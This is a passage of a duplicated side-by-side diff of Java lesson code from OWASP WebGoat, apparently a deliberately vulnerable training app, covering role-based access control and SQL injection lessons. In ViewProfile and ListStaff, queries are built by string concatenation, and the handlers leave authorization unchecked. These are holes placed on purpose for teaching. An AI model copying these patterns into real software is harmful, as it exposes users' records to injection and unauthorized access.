// System.out.println("Checking for stage 4 completion"); // System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s)); DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String) s.getRequest().getSession() int userId = Integer.parseInt((String) s.getRequest().getSession()
.getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID)); .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID); int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId)) if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{ {
setStageComplete(s, STAGE4); setStageComplete(s, STAGE4);
} }
} catch (Exception e) } catch (Exception e)
{ {
// swallow this - shouldn't happen inthe normal course // swallow this - shouldn't happen inthe normal course
// e.printStackTrace(); // e.printStackTrace();
} }
} }
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure"); // System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
// System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} }
// All this does for this lesson is ensure that a non-null content exists. // All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "LAB: Role Based Access Control"; return "LAB: Role Based Access Control";
} }
} }

View File

@ -46,216 +46,216 @@ import org.owasp.webgoat.session.WebSession;
public class UpdateProfile extends DefaultLessonAction public class UpdateProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int subjectId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID, 0); int subjectId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(RoleBasedAccessControl.FIRST_NAME); String firstName = s.getParser().getStringParameter(RoleBasedAccessControl.FIRST_NAME);
String lastName = s.getParser().getStringParameter(RoleBasedAccessControl.LAST_NAME); String lastName = s.getParser().getStringParameter(RoleBasedAccessControl.LAST_NAME);
String ssn = s.getParser().getStringParameter(RoleBasedAccessControl.SSN); String ssn = s.getParser().getStringParameter(RoleBasedAccessControl.SSN);
String title = s.getParser().getStringParameter(RoleBasedAccessControl.TITLE); String title = s.getParser().getStringParameter(RoleBasedAccessControl.TITLE);
String phone = s.getParser().getStringParameter(RoleBasedAccessControl.PHONE_NUMBER); String phone = s.getParser().getStringParameter(RoleBasedAccessControl.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS1); String address1 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS1);
String address2 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS2); String address2 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS2);
int manager = s.getParser().getIntParameter(RoleBasedAccessControl.MANAGER); int manager = s.getParser().getIntParameter(RoleBasedAccessControl.MANAGER);
String startDate = s.getParser().getStringParameter(RoleBasedAccessControl.START_DATE); String startDate = s.getParser().getStringParameter(RoleBasedAccessControl.START_DATE);
int salary = s.getParser().getIntParameter(RoleBasedAccessControl.SALARY); int salary = s.getParser().getIntParameter(RoleBasedAccessControl.SALARY);
String ccn = s.getParser().getStringParameter(RoleBasedAccessControl.CCN); String ccn = s.getParser().getStringParameter(RoleBasedAccessControl.CCN);
int ccnLimit = s.getParser().getIntParameter(RoleBasedAccessControl.CCN_LIMIT); int ccnLimit = s.getParser().getIntParameter(RoleBasedAccessControl.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(RoleBasedAccessControl.DISCIPLINARY_DATE); String disciplinaryActionDate = s.getParser().getStringParameter(RoleBasedAccessControl.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser() String disciplinaryActionNotes = s.getParser()
.getStringParameter(RoleBasedAccessControl.DISCIPLINARY_NOTES); .getStringParameter(RoleBasedAccessControl.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(RoleBasedAccessControl.DESCRIPTION); String personalDescription = s.getParser().getStringParameter(RoleBasedAccessControl.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
if (subjectId > 0) if (subjectId > 0)
{ {
this.changeEmployeeProfile(s, userId, subjectId, employee); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID, Integer setRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID, Integer
.toString(subjectId)); .toString(subjectId));
} }
else else
this.createEmployeeProfile(s, userId, employee); this.createEmployeeProfile(s, userId, employee);
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return RoleBasedAccessControl.VIEWPROFILE_ACTION; return RoleBasedAccessControl.VIEWPROFILE_ACTION;
} }
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException throws UnauthorizedException
{ {
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void changeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee) public void changeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException throws UnauthorizedException
{ {
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.executeUpdate(query); ps.executeUpdate(query);
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
protected int getNextUID(WebSession s) protected int getNextUID(WebSession s)
{ {
int uid = -1; int uid = -1;
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first(); results.first();
uid = results.getInt("uid"); uid = results.getInt("uid");
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
} }
return uid + 1; return uid + 1;
} }
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{ {
try try
{ {
// FIXME: Cannot choose the id because we cannot guarantee uniqueness // FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase()); ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate()); ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes()); ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
} }

View File

@ -43,148 +43,148 @@ import org.owasp.webgoat.session.WebSession;
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int employeeId = -1; int employeeId = -1;
try try
{ {
// User selected employee // User selected employee
employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID); employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
// May be an internally selected employee // May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID); employeeId = getIntRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID);
} }
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee); setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
updateLessonStatus(s); updateLessonStatus(s);
} }
private void updateLessonStatus(WebSession s) private void updateLessonStatus(WebSession s)
{ {
// If the logged in user is not authorized to see the given employee's data, stage is // If the logged in user is not authorized to see the given employee's data, stage is
// complete. // complete.
try try
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID); int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (RoleBasedAccessControl.STAGE3.equals(getStage(s)) && !isAuthorizedForEmployee(s, userId, employeeId)) if (RoleBasedAccessControl.STAGE3.equals(getStage(s)) && !isAuthorizedForEmployee(s, userId, employeeId))
{ {
setStageComplete(s, RoleBasedAccessControl.STAGE3); setStageComplete(s, RoleBasedAccessControl.STAGE3);
} }
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
} }
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return RoleBasedAccessControl.VIEWPROFILE_ACTION; return RoleBasedAccessControl.VIEWPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
// Query the database to determine if the given employee is owned by the given user // Query the database to determine if the given employee is owned by the given user
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
} }

View File

@ -45,112 +45,112 @@ import org.owasp.webgoat.session.WebSession;
public class ListStaff extends DefaultLessonAction public class ListStaff extends DefaultLessonAction
{ {
public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName) public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
List employees = getAllEmployees(s, userId); List employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees); setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return SQLInjection.LISTSTAFF_ACTION; return SQLInjection.LISTSTAFF_ACTION;
} }
public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException
{ {
// Query the database for all employees "owned" by the given employee // Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>(); List<EmployeeStub> employees = new Vector<EmployeeStub>();
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")"; + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role); // System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub); employees.add(stub);
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();
} }
return employees; return employees;
} }
public List getAllEmployees_BACKUP(WebSession s, int userId) throws UnauthorizedException public List getAllEmployees_BACKUP(WebSession s, int userId) throws UnauthorizedException
{ {
// Query the database for all employees "owned" by the given employee // Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>(); List<EmployeeStub> employees = new Vector<EmployeeStub>();
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")"; + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role); // System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub); employees.add(stub);
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();
} }
return employees; return employees;
} }
} }

View File

@ -47,212 +47,212 @@ import org.owasp.webgoat.session.WebSession;
public class Login extends DefaultLessonAction public class Login extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{ {
// System.out.println("Login.handleRequest()"); // System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s); List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees); setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null; String employeeId = null;
try try
{ {
